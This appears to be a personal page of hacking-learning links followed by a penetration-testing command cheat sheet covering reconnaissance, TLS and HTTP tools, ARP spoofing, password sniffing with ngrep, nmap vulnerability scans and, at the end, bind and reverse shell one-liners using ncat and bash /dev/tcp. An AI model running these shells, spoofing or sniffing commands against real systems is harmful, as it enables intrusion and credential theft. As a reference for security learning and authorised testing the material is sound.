

Hacker

Search Engines

- [Shodan](#) - Search Engine for the Internet of Everything.
- [ZoomEye](#) - Search for the any devices, blockchains, websites, webcams etc.
- [Awesome-Google-Dorks](#)

Learning Hacker

- [TryHackMe](#)
 - [Video] [TryHackMe! Basic Penetration Testing](#)
- [Hack The Box](#)
- [Hackers-Arise](#) - ??????
 - [?????????](#)
- [Hacking Books](#)
- [The art of Learning Programming for Red teaming and CyberSecurity](#)

Tools

- [hping](#)

?? Root ??

- [LES: Linux privilege escalation auditing tool](#)
- [Part 1](#)
- [Part 2](#)
- [Part 3](#)
- [Part 4](#)

Commands Cheat Sheets

Hacking Tools Cheat Sheet

Basic Linux Networking Tools

Show IP configuration:
ip a lw
Change IP/MAC address:
ip link set dev eth0 down
macchanger -m 23:05:13:37:42:21 eth0
ip link set dev eth0 up
Static IP address configuration:
ip addr add 10.5.23.42/24 dev eth0
DNS lookup:
dig compass-security.com
Reverse DNS lookup:
dig -x 10.5.23.42

Information Gathering

Find owner/contact of domain or IP address:
whois compass-security.com
Get nameservers and test for DNS zone transfer:
dig example.com ns
dig example.com axfr @n1.example.com
Get hostnames from CT logs: Search for
%.compass-security.com on https://crt.sh.
Or using an nmap script:
nmap -sn -Pn compass-security.com
--script hostmap-crtsh
Combine various sources for subdomain enum:
amass enum -src -brute -min-forrecursive 2 -d compass-security.com

TCP Tools

Listen on TCP port:
ncat -l -p 1337
Connect to TCP port:
ncat 10.5.23.42 1337

TLS Tools

Create self-signed certificate:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -nodes -subj "/CN=example.org/"
Start TLS Server:
ncat --ssl -l -p 1337 --ssl-cert

cert.pem --ssl-key key.pem
Connect to TLS service:
ncat --ssl 10.5.23.42 1337
Connect to TLS service using openssl:
openssl s_client -connect 10.5.23.42:1337
Show certificate details:
openssl s_client -connect 10.5.23.42:1337 | openssl x509 -text
Test TLS server certificate and ciphers:
slyze --regular 10.5.23.42:443
TCP to TLS proxy:
socat TCP-LISTEN:2305,fork,reuseaddr ssl:example.com:443
Online TLS tests:
• ssl-labs.com, hardenize.com

HTTP Tools

Start Python webserver on port 2305:
python3 -m http.server 2305
Perform HTTP Request:
curl http://10.5.23.42:2305/?foo=bar
Useful curl options:
• -k: Accept untrusted certificates
• -d "foo=bar": HTTP POST data
• -H: "Foo: Bar": HTTP header
• -I: Perform HEAD request
• -L: Follow redirects
• -o foobar.html: Write output file
• --proxy http://127.0.0.1:8080: Set proxy
Scan for common files/applications/configs:
nikto -host https://example.net
Enumerate common directory-/filenames:
gobuster dir -k -u https://example.net -w /usr/share/wordlists/dirb/common.txt

Sniffing

ARP spoofing:
arpspoof -t 10.5.23.42 10.5.23.1
Or a graphical tool:
ettercap -G
Show ARP cache:
ip neigh
Delete ARP cache:
ip neigh flush all
Sniff traffic:

tcpdump [options] [filters]
Useful tcpdump options:
• -i interface: Interface or any for all
• -n: Disable name and port resolution
• -A: Print in ASCII
• -XX: Print in hex and ASCII
• -w file: Write output PCAP file
• -r file: Read PCAP file
Useful tcpdump filters:
• not arp: No ARP packets
• port ftp or port 23: Only port 21 or 23
• host 10.5.23.31: Only from/to host
• net 10.5.23.0/24: Only from/to hosts in network
Advanced sniffing using tshark or Wireshark.
Sniffing over SSH on a remote host:
ssh 10.5.23.42 tcpdump -w- port not ssh | wireshark -k -i -
Search in network traffic:
ngrep -i password
Show HTTP GET requests:
urlsnarf
Show transmitted images:
driftnet

Network Scanning

ARP Scan:
nmap -n -sn -PR 10.5.23.0/24
Reverse DNS lookup of IP range:
nmap -sL 10.5.23.0/24
Nmap host discovery (ARP, ICMP, SYN 443/tcp ACK 80/tcp):
nmap -sn -n 10.5.23.0/24
TCP scan (SYN scan = half-open scan):
nmap -Pn -n -sS -p 22,25,80,443,8080 10.5.23.0/24
List Nmap scripts:
ls /usr/share/nmap/scripts
Scan for EternalBlue vulnerable hosts:
nmap -n -Pn -p 443 --script smbvuln-ms17-010 10.5.23.0/24
Scan for vulnerabilities (script category filter):
nmap -n -Pn --script "vuln and safe" 10.5.23.0/24
Performance Tuning (1 SYN packet ≈ 60 bytes → 20'000 packets/s ≈ 10 Mbps):
nmap -n -Pn --min-rate 20000

10.5.23.0/24
Useful nmap options:
• -n: Disable name and port resolution
• -PR: ARP host discovery
• -Pn: Disable host discovery
• -sn: Disable port scan (host discovery only)
• -sS/-sT/-sU: SYN/TCP connect/UDP scan
• --top-ports 50: Scan 50 top ports
• -iL file: Host input file
• -oA file: Write output files (3 types)
• -sC: Script scan (default scripts)
• --script <file/category>: Specific scripts
• -sV: Version detection
• -6: IPv6 scan
The target can be specified using CIDR notation (10.5.23.0/24) or range definitions (10.13-37.5.1-23).
Fast scan using masscan:
masscan -p80,8000-8100 --rate 20000 10.0.0.0/8
Public internet scan databases:
• shodan.io, censys.io

Shells

Start bind shell (on victim):
ncat -l -p 2305 -e "/bin/bash -i"
Connect to bind shell (on attacker):
ncat 10.5.23.42 2305
Listen for reverse shell (on attacker):
ncat -l -p 23
Start reverse shell (on victim):
ncat -e "/bin/bash -i" 10.5.23.5 23
Start reverse shell with bash only (on victim):
bash -i &>/dev/tcp/10.5.23.5/42 0>&1
Upgrade to pseudo terminal:
python -c 'import pty; pty.spawn("/bin/bash")'